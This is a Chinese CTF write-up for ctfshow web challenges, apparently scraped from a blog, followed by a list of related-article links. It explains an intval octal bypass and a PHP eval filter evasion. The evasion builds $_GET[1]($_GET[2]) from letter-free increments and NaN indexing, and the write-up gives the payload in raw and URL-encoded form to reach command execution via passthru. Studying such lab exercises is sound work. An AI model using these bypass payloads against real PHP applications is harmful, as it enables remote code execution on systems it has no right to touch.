目录

热身

shellme

shellme_Revenge


热身

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com
​
*/
​
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){die("no no no!");}if(preg_match("/[a-z]|\./i", $num)){die("no no no!!");}if(!strpos($num, "0")){die("no no no!!!");}if(intval($num,0)===4476){echo $flag;}
} 

源码奉上,这个题在web入门出现过

具体做法如下:

首先看到了字母被禁了

if(!strpos($num, "0"))这个语句告诉我们开头不能为0

很明显我们要用八进制,然后这个地方还要在值前加上一个+或空格

是因为考察了一个intval性质

1.如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
2.如果字符串以 “0” 开始,使用 8 进制(octal);
3.否则,将使用 10 进制 (decimal)

这个地方字母被禁了,不能16进制,

需要加个+或空格即可绕过

?num=+010574

shellme

直接ctrl+f搜索flag就得到了

shellme_Revenge

过滤掉了超多东西,然后找到hint=%3F

?等于%3F

直接构造

?looklook=1

得到源码

<?php
error_reporting(0);
if ($_GET['looklook']){highlight_file(__FILE__);
}else{setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow) || strlen($ctfshow) <= 107) {if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){eval($ctfshow);}else{echo("fucccc hacker!!");}}
} else {
​phpinfo();
}
?> 

大体意思为

post传入一个参数ctf_show
ctf_show具有长度的限制
然后又有很禁用的字符等(但给我们了C和123)
然后执行命令

所以我们要构造出

$_GET[0]($_GET[1])

具体的方法为:

NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。
​
INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。

进行拼接

$_=C/C;//NAN
$_=1/C//INF

C/C在这,实际在运算的时候会变成0/0。1/C变成1/0

然后想要单个的字符还需要连接一个字符;

<?php
$a = C/C.C;
echo $a[0];//N
?>

我们需要的语句为$GET[0]($GET[1])

<?php
$_=C;
$_++; //D
$C=++$_; //E
$_++; //F
$C_=++$_; //G
$_=(C/C.C)[0]; //N
$_++; //O
$_++; //P
$_++; //Q
$_++; //R
$_++; //S
$_=_.$C_.$C.++$_; //_GET
$$_[1]($$_[2]); //$_GET[1]($_GET[2])
?>

payload:

ctf_show=$_=C;$_++;$C=++$_;$_++;$C_=++$_;$_=(C/C.C)[0];$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;$$_[1]($$_[2]);

但是最后post传入的值要进行url编码

ctf_show=%24_%3DC%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C_%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24C_.%24C.%2B%2B%24_%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B

还有就是进行命令执行,经过测试passthru没有被禁

ctfshow 吃瓜杯 web 部分题相关推荐

  1. ctfshow吃瓜杯 web

    文章目录 热身 ATTup 代码审计 phar反序列化 shellme shellme_Revenge 热身 <?php/* # -*- coding: utf-8 -*- # @Author: ...

  2. ctfshow 吃瓜杯八月赛 Misc WriteUp

    目录 1.Misc游戏签到 2.吃瓜 3.EZbingo 4.魔王 5.Dinner of Cyanogen 6.Music Game 7.一群强盗 1.Misc游戏签到 别问 问就是玩游戏 套神说的 ...

  3. CTFshow吃瓜杯的两道web

    Shellme_Revenge 在BsidesCTF2021中出过类似的题,利用的是一些数学上的trick 首先是注意到cookie中的hint,所以在请求中加上?looklook=1即可看到源码: ...

  4. ctfshow吃瓜杯之web(除魔女)详解

    shellme 搜索ctfshow即可 热身 <?phpinclude("flag.php"); highlight_file(__FILE__); if(isset($_G ...

  5. ctfshow吃瓜杯 八月群赛 WriteUp/WP

    Web: shellme 题目问题,没什么说的,进去直接搜ctfshow就是flag 热身 签到题,做过web入门的都应该知道怎么绕,分开来看 比如第一个部分可以用小数绕过,第二部分没有字母,可以用8 ...

  6. ctfshow 摆烂杯web wp

    考试前不想复(预)习,正好是ctfshow的摆烂杯,就去做了几道web题 文章目录 web签到 黑客网站 一行代码 web签到 题目要输入三个整数A.B.C,ABC均不可为0,让A³+B³+C³=11 ...

  7. CTFSHOW菜狗杯 web

    文章目录 web签到 web2 c0me_t0_s1gn 我的眼里只有$ 抽老婆 一言既出 驷马难追 TapTapTap Webshell 化零为整 无一幸免 传说之下(雾) 算力超群 算力升级 2 ...

  8. CTFSHOW 菜狗杯--WEB

    WEB签到 eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]); 简单的解释下这个嵌 ...

  9. [ctf.show.reverse] 吃瓜杯 签层饼,Tea_tube_pot

    签层饼 真有一千层函数呀,沿着输入存入的两个变量找,找到3个函数: 主函数给出了flag的组织方式, check1说number2<882408, check2说number1 = number ...

最新文章

  1. 编译u-boot时候,make distclean 出现rm:无法删除,****是一个目录
  2. 利用OpenCV求取图像的重心
  3. Nginx的配置文件
  4. python123数值运算_python基础篇【第二篇】:数据运算、数据类型
  5. ThinkPHP 数据库操作之数据表模型和基础模型 ( Model )
  6. Nmap经常使用的场景用法
  7. 微信小程序开发教程第七章:微信小程序编辑名片页面开发
  8. 一个不错的讲解flex 3中自定义事件的文章
  9. (转)Centos7 Nginx安装
  10. 春运首日 广西桂林火车站向旅客“送万福”
  11. 过滤HTML标记、HTML注释、“!@#¥%”等非法字符
  12. mme设备内部错误_低压配电设备常见故障分析,处理办法介绍
  13. word中的总页数不包括封面、目录
  14. java计算机毕业设计中国民航酒店分销系统源码+数据库+系统+lw文档
  15. 报童模型(2)--经济学含义和应用
  16. python输出时间差_利用python计算时间差(返回天数)
  17. linux-xfce4-panel
  18. 「咕咕网校 - 基础省选」树上问题的进阶 by Drench
  19. 6阶子群同构于s3或者z6_[2017年整理]离散数学复习.ppt
  20. 蓝桥杯:真题 回文数字

热门文章

  1. IOS版伪春菜开发笔记1.1之导入图片并显示
  2. 英语这样学最有效------少走弯路的学习方法
  3. ]媒体记者报道新闻,抒情是诗人的事!
  4. 网吧局域网里的设置外网IP地址、设置内网IP地址、限制内网速度和路由器共享...
  5. 聚合支付PC端-微信扫码
  6. 小羊肖恩三季全(ed2k)
  7. android google服务框架安装
  8. 数字化商业模式研究——基于LTD(lead to deal)从引导到成交的方法论思想
  9. linux 打印两个文件内容相同行和不同行(交集和差集)
  10. 非root权限如何读写Linux文件(转)